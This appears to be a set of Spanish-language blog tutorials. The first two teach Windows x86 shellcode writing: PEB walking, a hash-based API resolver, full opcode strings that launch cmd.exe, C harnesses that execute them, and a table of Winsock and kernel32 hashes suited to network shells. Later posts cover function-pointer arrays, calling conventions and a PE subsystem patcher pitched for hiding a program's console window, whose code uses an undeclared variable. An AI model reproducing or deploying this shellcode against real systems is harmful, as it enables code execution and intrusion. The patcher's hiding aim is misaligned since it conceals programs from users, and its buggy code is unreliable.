SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.

———————————————————————————————————–

Encontrando la direccion de kernel32.dll

Para filtrar los datos del PEB partimos en tener un puntero a PEB:

Código:
mov ebx, fs:[0x30]

Ahora necesitamos apuntar a InLoadOrderModuleList de LDR

Código:
		mov ebx, [ebx+0x0C]  ;puntero a LDR
		mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList

Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32

Código:
		mov ebx, [ebx]
		mov ebx, [ebx + 0x08]

Entonces tendremos como codigo resultante:

Código:
		xor ebx, ebx ;ebx a 0
		mov ebx, fs:[0x30] ;apuntamos a PEB
		mov ebx, [ebx+0x0C] ;LDR a edx
		mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
		mov ebx, [ebx]
		mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx

Comparemos como funciona vs GetModuleHandleA():

Código:
#include <windows.h>
#include <stdio.h>

int main()
{
	DWORD kernelAdd;
	printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
	__asm{
		xor ebx, ebx
		mov ebx, fs:[0x30]
		mov ebx, [ebx+0x0C]
		mov ebx, [ebx+0x1C]
		mov ebx, [ebx]
		mov ebx, [ebx+0x08]
		mov kernelAdd, ebx
	}
	printf("\ncon PEB: %8X", kernelAdd);
	return 0;
}

Como podemos ver, las direcciones resultantes (en mi caso: “7C800000″ //win XP Pro sp3) son identicas. El metodo funciona.

———————————————————————————————————–

Mas teoria

Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta seccion es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.

Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>

De estos campos nos interesaremos en la parte de los directorios de datos. >>

EAT – Export Address Table

La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un índice basado en cero de 5.)

Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no estáadentro de la seccion de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una dirección real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un símbolo en otro DLL.

Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.

———————————————————————————————————–

Llamando a las APIs

El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos :D .

Analicemos como hacer las llamadas siguiendo los pasos anteriores:

Código:
api_call:
  pushad     ;registros a pila
  mov ebp, esp
  xor edx, edx
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     

loop_modname:
  xor eax, eax
  lodsb
  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   

not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha
  add edi, eax       ;el valor del hash
  loop loop_modname  ;hasta ecx=0
  push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila
  mov edx, [edx+16]  ;direccion base del modulo a edx
  mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo
  add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx          

get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  dec ecx            ;numero de la funcion - 1
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx
  xor edi, edi           

loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion    

  pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax 

tenemos la direccion virtual de la funcion    

finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor 

anterior
  pop ebx        ;arreglamos la pila
  pop ebx
  popad
  pop ecx
  pop edx
  push ecx
  jmp eax        ;llamamos a la funcion        

get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax  

get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax
  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  mov edx, [edx]  ;puntero al siguiente modulo
  jmp short next_mod
  ;Harmony Security

Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:

Código:
[BITS 32]

  cld        ;bandera de direccion a cero
  call start ;puntero de api_call a la pila   

api_call:
 ;(...)
 ;codigo de api_call
 ;(...)

start:
  pop ebp         ;puntero de api_call a ebp      

  jmp command     ;comando a ejecutar va a pila

exec:
  push 0x876F8B31 ;hash para WinExec a pila
  call ebp        ;llamamos a api_call       

  push 0x56A2B5F0 ;hash para ExitProcess a pila
  call ebp        ;llamamos a api_call      

command:
  call exec
  db "cmd.exe ", 0

Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:

Código:
char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Funciona?

Si funciono.

Algunos hashes muy usados:

Código:
0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA" 

0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv" 

0x5F38EBC2, "ws2_32.dll!send" 

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle" 

0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject" 

0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread" 

0x6F721347, "ntdll.dll!RtlExitUserThread" 

0x23E38427, "advapi32.dll!RevertToSelf"

Saludos!

Creando una Shellcode (x86)

Publicado en Tutoriales & Manuales el Julio 21, 2009 por lShadowl
Creando una Shellcode (x86)

por lShadowl


Conocimientos previos requeridos: asm 32b y C

Conocimientos previos:
-Que es una shellcode?
“Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.(…)” >> http://es.wikipedia.org/wiki/Shellcode

Herramientas usadas en este tutorial¦Descarga:

Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.

La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:

—–Categoria Devel—-
>binutils
>gcc
>nasm
—-Categoria System—-
>util-linux

Otras herramientas y scripts usados estan como codigo fuente en el tutorial.


Introduccion

Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el

proceso en 2 partes: codificacion en ensamblador y conversion a opcode.

El objetivo del tutorial es crear una shellcode que abra una cmd.


Codificacion en ensamblador

Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones “WinExec” [con que ejecutaremos la cmd] y “ExitProcess” [con la cual saldremos del programa], ambas se encuentran en la dll “kernel32″.
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a “arwin”, un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:

Código
#include <windows.h>
#include <stdio.h>

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
   vividmachines.com
   shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/

int main(int argc, char** argv)
{
	HMODULE hmod_libname;
	FARPROC fprc_func;

	printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
	if(argc < 3)
	{
		printf("%s <Library Name> <Function Name>\n",argv[0]);
		exit(-1);
	}

	hmod_libname = LoadLibrary(argv[1]);
	if(hmod_libname == NULL)
	{
		printf("Error: could not load library!\n");
		exit(-1);
	}
	fprc_func = GetProcAddress(hmod_libname,argv[2]);

	if(fprc_func == NULL)
	{
		printf("Error: could find the function in the library!\n");
		exit(-1);
	}
	printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);

}

Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.

Ya con arwin usaremos la linea:

$ arwin kernel32.dll WinExec

con lo cual obtendremos un resultado parecido a este:

El mismo proceso para buscar “ExitProcess”. >>

Ahora que tenemos las direcciones, pasemos al code en asm.

——————————————————————————————–

Código
BITS 32                  ;especificamos que el code es 32bits

jmp short cmd                  ;"cmd" a la pila

init:
   mov edx,7C8623ADh      ; 7C8623ADh>>direccion de WinExec a edx
   call edx                             ; hacemos la llamada (recordemos que "cmd" esta en la pila)
   mov edx,7C81CAFAh      ; 7C8623ADh>>direccion de ExitProcess a edx
   call edx                            ; salimos

cmd:
   CALL init
   db 'cmd',00h    ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio

——————————————————————————————–

Para cuestiones de seguimiento, llamaremos a este archivo “shc.asm”.


Conversion a opcode

Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:

$ nasm -f bin -o shc.bin shc.asm

En shc.bin tendremos algo como esto:

Código:
뺭#†|ÿÒºúʁ|ÿÒèíÿÿÿcmd

luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:

$ xxd -i shc.asm

y nos devolvera esto:

Y listo, tenemos nuestra shellcode lista en C:

Código
unsigned char shc_bin[] = {
  0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca,
  0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64,
  0x00
};
unsigned int shc_bin_len = 25;

Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:

Código
#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi

filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo

De esta forma::

$ xxd-shellcode.sh shc.bin

Devolvera esto:

y en shc.shellcode los opcodes

Código
\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64

Ahora veamos la plantilla en C para probarla

————————–

Código
char code[] = "[b]OPCODES[/b]";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

————————–

Asi que tendriamos en sch.c …:

Código
char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Compilamos ($ gcc -o shc shc.c) y probamos:


Saludos!

Array de funciones en C

Publicado en Tutoriales & Manuales con etiquetas , el Junio 29, 2009 por ni0ssw

Hola, vamos a ver algo muy loco, algo que nose si en otros lenguajes se pueda, pero en C obiamente SI Lengua

hace un tiempo descubri q se podia hacer esto y me quede xD :S :'( :P :O :O :O :Sonrisa :Sonrisa Huh? Huh? Impresionado Impresionado Impresionado Impresionado xDDD

/**********************************************************/

#include "stdio.h"

typedef int (*_func)(char *, ...);
_func func[10];

int main(void)
{
  func[5] = (_func)printf;
  func[5]("hola mundo!\n");
  getchar();
  return 0;
}

/**********************************************************/

utilize func[5] solo para demostrar que estoy trabajando con el array Lengua

no puse getchar dentro del array porque getchar esta declarado diferente que printf…
veamos una utilidad buena para esto del array de funciones:

/**********************************************************/

#include "stdio.h"

typedef float (*_func)(float, float);

float add(float a, float b)
{
  return a + b;
}

float sub(float a, float b)
{
  return a - b;
}

float mul(float a, float b)
{
  return a * b;
}

float div(float a, float b)
{
  if(b == 0)
      return 0;
  return a / b;
}

/*cargamos nuestro vector de funciones...*/
_func func[4] = {add, sub, mul, div};

int main(void)
{
  int num = 0;
  float a,b;
  printf("Ingrese 2 numeros\n");
  scanf("%f %f", &a, &b);
  while(num > 4 || num < 1){
      printf("1 - Sumar\n2 - Restar\n3 - Multiplicar\n4 - Dividir\n");
      scanf("%d", &num); /*gracias Anibal xD*/
   }
  num--;
/*por el metodo "tradicional" tendria que venir un switch o varios ifs...*/
  printf("Resultado: %f\n", func[num](a, b));
  while(getchar() != '\n');   /*la forma que utiliza Ramc para vaciar el buffer xD*/
  getchar();
}

/**********************************************************/

bueno, eso es todo, creo q es facil de entender

salu2!

P.D: pufff hace cuanto q no posteaba en C!! xD

x86 calling conventions (castellano)

Publicado en Tutoriales & Manuales, Tutoriales & Manuales (ASM) el Septiembre 3, 2008 por ni0ssw

Hola, aca voy a explicar las “calling conventions”, toda la informacion la voy a sacar de:
http://en.wikipedia.org/wiki/X86_calling_conventions
(esta en inglés)


-He notado que algunas especificaciones estan.. incompletas, quisa le falta decir como retorna o si se ponen de derecha a izqueirda o de izquierda a derecha los argumentos, yo solo saque la informacion de la pagina citada arriba de todo

-Cuando aveces digo que en C se puede indicar de que forma compilar la funcion, quisa no sea igual para todos los compiladores, hasta es probable que en algunos compiladores se pueda incluir otras calling conventions.


que son las calling conventions?
resulta que hace tiempo, con las maquinas de Unix, todo funcionaba como reloj, las funciones se llebaba bien entre ellas, pero parecio IBM, con sus pcs con procesador intel, sistema operativo de microsoft y hardware IBM, entonces tubieron que hacer una serie de reglas para que las funciones funcionen bien. estas reglas son las calling conventions.

que dicen estas reglas?
definen como se pasan los argumentos y como debe retornar un valor la función, por ejemplo, los argumentos se pueden pasar a los registros o a la pila, empezando por la derecha o por la izquierda.

sirve para cualquier lenguaje?
si, aunque en pocos lenguajes se puede especificar que reglas seguir, o bien, crear tus propias reglas (con asm, aunque tambien podes seguir las calling conventios ya establecidas obiamente)
creo que es importante para asm, pero no es de importancia cuando no podes especificar nada, pero saber que hace el compilador con tus funciones no esta de mas Lengua


Las calling conventions se dividen en 2 grandes grupos
“caller clean-up”
“callee clean-up”

Caller clean-up:
Aca el que llame a la funcion se encarga de limpiar la pila (ya veremos que es eso), facilidad para las funciones con indefinida cantidad de argumentos, como lo es printf en C.

tenemos 3 “reglas”:
cdecl
syscall
optlink

cdecl:
la cdecl calling convention es la mas usada por compiladores de C
los argumentos (parametros) de la funcion son pasados por la pila, empezando de la derecha y terminando con el argumento de la izqueirda.
la funcion retorna el valor en el registro EAX, exepto para valores reales que se ponen en ST0.
los registros EAX, ECX y EDX quedan libres para la funcion (osea, los podes modificar tranquilamente)

en C para especificar que la funcion utilize este metodo debemos poner _cdecl antes del nombre de la funcion:

Código
int _cdecl funcion(int, int, int);

un ejemplo:

Código
int function_name(int, int, int);
int a, b, c, x;
...
x = function_name(a, b, c);

al compilarse queda:

Código
push c
push b
push a
call function_name
add esp, 12 ;Limpia la pila
mov x, eax

el que llamo a la funcion debe limpiar la pila despues de la llamada, esto se hace regresando la pila a donde estaba, como tenemos 3 variables de 4 bytes, el valor de esp va a disminuir 12 bytes (los 3 push), asique para que vuelva a donde estaba hay que sumarle 12 a esp Lengua
en caso de que el valor a retornar sea de 64 bits entonces retoran en EAX:EDX (32bits mas significativos en EAX y los menos significativos en EDX)

en Linux los puntos flotantes de 32 bits o los de 64 bits son pasados asi:

Código
sub esp,8;    hace espacio en la pila 
fld [ebp+x]; carga el flotante de 64bits
fstp [esp]; pone el flotante de 64bits en la pila
call func;
add esp,8;

syscall:
Este es parecido a cdecl en que los argumentos se pasan de derecha a izqueirda.
EAX, EDX  y ECX no se conservan. (creo que quiere decir que no los podemos modificar)
El tamaño de la lista de parametros se pasa a AL

Syscall es el metodo estandar para OS/2 32bits

optlink:
Los argumentos son puestos de derecha a izquierda. Los tres primeros (de la izquierda) se pasan por EAX, EDX y ECX, y hasta 4 variables flotantes se pasan de ST(0) a ST(3) aunque se reserva espacio en la pila para ellos.
en este caso EBP, EBX, ESI, y EDI son conservadas
se retorna por EAX o ST(0)

optlink se usa por los compiladores IBM VisualAge.

Callee clean-up:
cuando la funcion llamada limpia la pila, el compilador tiene que saber cuantos bytes debe “limpiar” en el tiempo de ejecucion, por eso este metodo no es compatible con funciones con la cantidad de  argumentos variables (como printf).
este metodo es un poco mas eficiente.
la instruccion ret del x86 permite un un parametro de un byte que especifica el numero de posiciones de la pila a limpar antes de retornar.

Código
ret 12

tenemos las sigientes:
pascal
register
stdcall
fastcall
Microsoft fastcall
Borland fastcall
Watcom register based calling convention
TopSpeed / Clarion / JPI
safecall

pascal
los parametros son pasados de izquierda a derecha (al contrario de cdecl)
retorna como cdecl

este metodo fue usado comunmente en 16 bit APIs OS/2 1.x , Microsoft Windows 3.x, y Borland Delphi version 1.x.

register
asi se lo llamaba a Borland fastcall.

stdcall
se pasan los argumentos de dercha a izqueirda
EAX, ECX y EDX son destinados para la funcion
y se retorna en EAX
este metodo es el estandar para WIN32
en C para indicar que use este metodo usamos

Código
_stdcall
Código
char _stdcall mifunc(int x);

fastcall
esta convencion no se estandarizó (creo que se escribe asi xD) por lo que cada compilador lo interpreta a su manera:
Microsoft fastcall
Microsoft o GCC __fastcall pasa los primeros 2 argumentos (de izquierda a derecha) en ECX y en EDX, el resto se ponen en la pila de DERECHA a izquierda.
Borland fastcall
Pasa de izquierda a derecha los argumentos en EAX, EDX y ECX, el resto por la pila (tambien de izquierda a derecha)
es el metodo estandard de Borland Delphi.
Watcom register based calling convention
Watcom no soporta la palabra clave __fastcall, exepto que se le haga un alias a NULL
el “registrer calling convention” se selecciona por la linea de comandos
los argumentos se pasan de izquierda a derecha por eax, edx, ebx, ecx. Si algun argumento no puede ser pasado por el registro, ese y todos los siguientes se pasan por la pila, los argumentos de la pila se pasan de DERECHA a izquierda
Watcom C/C++  admite “#pragma aux” que te permite definir tu propio metodo (no se como xD da un enlaze a http://www.openwatcom.org/index.php/Calling_Conventions#Specifying_Calling_Conventions_the_Watcom_Way pero eso no entraria en este post)
TopSpeed / Clarion / JPI
Los primeros 4 son pasados por eax, ebx, ecx y edx, para los puntos flotantes usamos st0, st1, st2, st3, st4, st5 y st6. parametros de estructuras son siempre pasados por la pila y cuando se acaban los registros usamos la pila
enteros se retornan por EAX
punteros por EDX
puntos flotantes por st0

safecall
En borland delphi este metodo se usa para chequekar errores, los errores se reportan cuando se retorna, y delphi automaticamente chekea ese valor devuelto y si es necesario manda algun mensaje de error.

safecall es igual a stdcall exepto que los errores son pasados por EAX (en vez de fs:[0]) mientras que el valor devuelto se pasa por la pila como si fuese un ultimo parametro out.
esta convencion va a perecer como cualquier otra convencion, aunque los errores son pasados por EAX, estos son automaticamente convertidos a la exprecion adecuada por el que llama a la funcion safecall.
estas 2 declaraciones son iguales:

Código
function function_name(a: DWORD): DWORD; safecall;
Código
function function_name(a: DWORD; out Result: DWORD): HResult; stdcall;


thiscall

esta tiene 2 verciones, caller-clean up y callee-clean up, depende del compilador
para el GCC, thiscall es igual que cdecl, la diferencia es que agrega “this pointer”, que se pone ultimo en la pila, como si fuese el primer parametro de la funcion

para microsoft visual C++ “this pointer” es pasado por ECX y la funcion llamada es la que limpia la pila, exepto para las funciones con numeros variados de parametros que es la funcion que llama la que limpia.

thiscall puede ser esplicitamente especificado en Microsoft Visual C++ 2005 y mayores. para cualquier otro compilador thiscall no es una palabra reservada
(no se que es a lo que se refiere con “this pointer”

Citar
The difference is the addition of the this pointer, which is pushed onto the stack last, as if it were the first parameter in the function prototype.

)

Intel ABI
esta convencion muchos compiladores y lenguajes usan, segun Intel ABI, EAX, EDX y ECX son de uso libre para la funcion, asique no tienen que ser preservadas.

Microsoft x64 calling convention
esta convencion, como bien deben de suponer, es para arquitecturas de 64 bits, y utiliza las ventajas de los 64 bits utilizando RCX, RDX, R8 y R9 para enteros y punteros
XMM0, XMM1, XMM2, XMM3 para flotantes, el resto se pone en la pila y se retorna por RAX.
cuando compilamos en 64bits utilizando las herramientas de microsoft, hay una sola convencion (esta xD) asique stdcall cdecl ,fastcall etc son todas una y la misma
es de la responsabilidad del que llama a la funcion reservar 32bytes (sin importar el numero de parametros) en la pila antes de llamar a la funcion, este espacio es para RCX, RDX, R8 y R8

AMD64 ABI convention
este sistema es usado en linux (obiamente 64 bits xD) y otros sistemas operativos menos los de microsoft
RDI, RSI, RDX, RCX, R8 y R9 son usados para enteros y punteros
XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 y XMM7 para flotantes
los demas son por la pila y se retorna en RAX.

Standard exit and entry sequences for C code
asi es como EMPIEZA la funcion

Código
_function:
    push ebp       ;guarda el ebp viejo
    mov ebp, esp   ;ahora la base de la pila es el puntero a la pila
                   ;arriba de todo esta el viejo ebp y seguida por la posicion de retorno
    sub esp, x     ;x es el tamaño de todas las variables "automatic" ("automatic" es algo de C, por defecto todas son automatic)

lo unico que explico es que sub esp, x es hacer espacio, donde dentro van a estar las variables locales automaticas.
este comportamiento hace posible hacer funciones recursivas

y asi es como TERMINA

Código
mov esp, ebp   ;reset the stack to "clean" away the local variables
pop ebp        ;restore the original base pointer
ret            ;return from the function

creo que esta claro, un ejemplo de este code en C:

Código
int _cdecl MyFunction(int i){
    int k;
    return i + k;
}

produce

Código
;entry sequence
push ebp
mov ebp, esp
sub esp, 4     ;create function stack frame

;function code
mov eax, [ebp + 8]
               ;move parameter i to accumulator
add eax, [ebp - 4]
               ;add k to i
               ;result is returned in eax

;exit sequence
mov esp, ebp
pop ebp
ret

aunque esto algunos compiladores lo optimizan cuando no necesitan hacer espacio en la pila y esas cosas.


si.. es un poco largo y pesado, no creo que se lo lean todo xD quisa tienen duda y consultan aca Lengua

salu2! y espero que les haya gustado!

Iniciar en modo grafico (GUI) cualquier app[WIN]

Publicado en Tutoriales & Manuales el Septiembre 2, 2008 por ni0ssw

Hola, todos habrán visto que sus programas de C para Windows salen por defecto en modo consola, con esa ventanita negra atras, suponganse que quieren hacerlo invisible al programa… esa ventanita no deberia estar… bueh, hay 2 formas, que en realidad es 1:
indicarle al compilador que lo cree en modo GUI (modo grafico, sin ventanita negra). esto depende de cada compilador pero para en DEV-C++ basta con crear un proyecto nuevo e indicarle que es “Windows aplication”. esto sirve para cuando hacemos botonces y ventanas y esas cosas pero tambien para “ocultarnos”, obiamente no le pueden pedir al usuario que ingrese un dato por teclado y tampoco que lea algo xD.

la segunda es hacer lo que hace el compilador manualmente, pero esto nos sirve (al ser manual) para cualquier programa.
(al final de post, despues del codigo, explico lo que hay que modificar)

que pasa cuando el copilador lo crea en modo GUI?? en el archivo .exe que genera, hay una parte específica que obtiene el valor 2, que es el modo GUI, en cambio si es en modo consola, el valor que obtiene ahi es el 3, asique solo es cuestion de abrir el archivo y cambiar el valor 3 por el 2 para que no aparezca la ventana, pero lo puede hacer un programa no?

explico lo que hace este programa
convierte un exe que le indicamos a modo GUI (si esta en modo consola) o en modo consola (si esta en modo GUI), asique lo abren, les pide el programa asique escriben la ruta y listo.

Código
#include stdio.h  /*ponganle los signos de mayor y menor en stdio.h*/
#define GUI 2
#define CUI 3

int main(int argc, char **argv)
{
   FILE *f;
   char c = 0, name[500];
   printf("Ingrese el exe a modificar:\n");
   gets(name);/*pide el nombre del programa */
   if(!(f = fopen(name, "rb+"))){
       printf("FOPEN");
       getchar();
       return 0;
   }
   if(fgetc(f) != 'M'){/*se fija que tenga el numero magico 'MZ', lo que indica que es ejecutable*/
       printf("NOT EXE");
       goto end;
   }
   if(fgetc(f) != 'Z'){
       printf("NOT EXE");
       goto end;
   }
   fseek(f, 0x3C, SEEK_SET);/*asi es como se busca PE*/
   fread(&i, 1, 4, f);
   if(i == 0){
       printf("NOT PE");
       goto end;
   }
   fseek(f, i, SEEK_SET);
       if(fgetc(f) != 'P'){/*se fija que tenga el numero magico 'PE', lo que indica que es ejecutable*/
       printf("NOT PE");
       goto end;
   }
   if(fgetc(f) != 'E'){
       printf("NOT PE");
       goto end;
   }
   if(feof(f)){
       eof:
       printf("EOF");
       goto end;
   }
   fseek(f, 0x5A ,SEEK_CUR);/*nos vamos a esa posicion especial*/
   if(fgetc(f) == GUI){
 fseek(f, -1, SEEK_CUR);
    fputc(CUI, f);/*y escribimos que sea CUI*/
   }
   else{
 fseek(f, -1, SEEK_CUR);
    fputc(GUI, f);/*y escribimos que sea GUI*/
   }
   printf("listo :) \n");
   end:
   fclose(f);
   getchar();
   return 0;
}

y ahora el programa que le indicamos va a iniciar en modo grafico. sin ventanita negra! Cheesy

al principio de un exe, tenemos la cabecera DOS, que no nos sirve, esta empieza con los caracteres ascii MZ
si avanzamos un poco… aparecen los caracteres ascii PE, estos SI interesan Lengua
ahora viene IMAGE_FILE_HEADER, que ocupa 0×14 bytes (hay que aclarar que despues de PE hay 2 bytes en 0 que no son contados), como esta seccionno interesa pasamos a la otra, IMAGE_OPTIONAL_HEADER, esta empieza con el valor 0×010B, pero en el archivo aparece 0B 01, pero no importa, es cuestion de como se ordenan los bytes en la memoria (menor peso menor posicion de memoria, por eso 0b que es el byte de menor peso esta antes), ahora en 0×44 bytes mas adelante (CONTANDO el 0×010B tenemos

Citar
WORD Subsystem
The type of subsystem that this executable uses for its user interface. WINNT.H defines the following values:

1 Doesn’t require a subsystem (such as a device driver)

WINDOWS_GUI

2 Runs in the Windows GUI subsystem

WINDOWS_CUI

3 Runs in the Windows character subsystem (a console app)

OS2_CUI

5 Runs in the OS/2 character subsystem (OS/2 1.x apps only)

POSIX_CUI

7 Runs in the Posix character subsystem

asique hay que moverse hasta ahi, yo me muevo 0×5A, pero.. 0×44 mas 0×14 = 0×58, eso es porque yo busco a PE, y no conte todabia los 2 bytes en 0 Lengua y bueh, ya estamos, ponemos el valor adecuado y listo:P

salu2!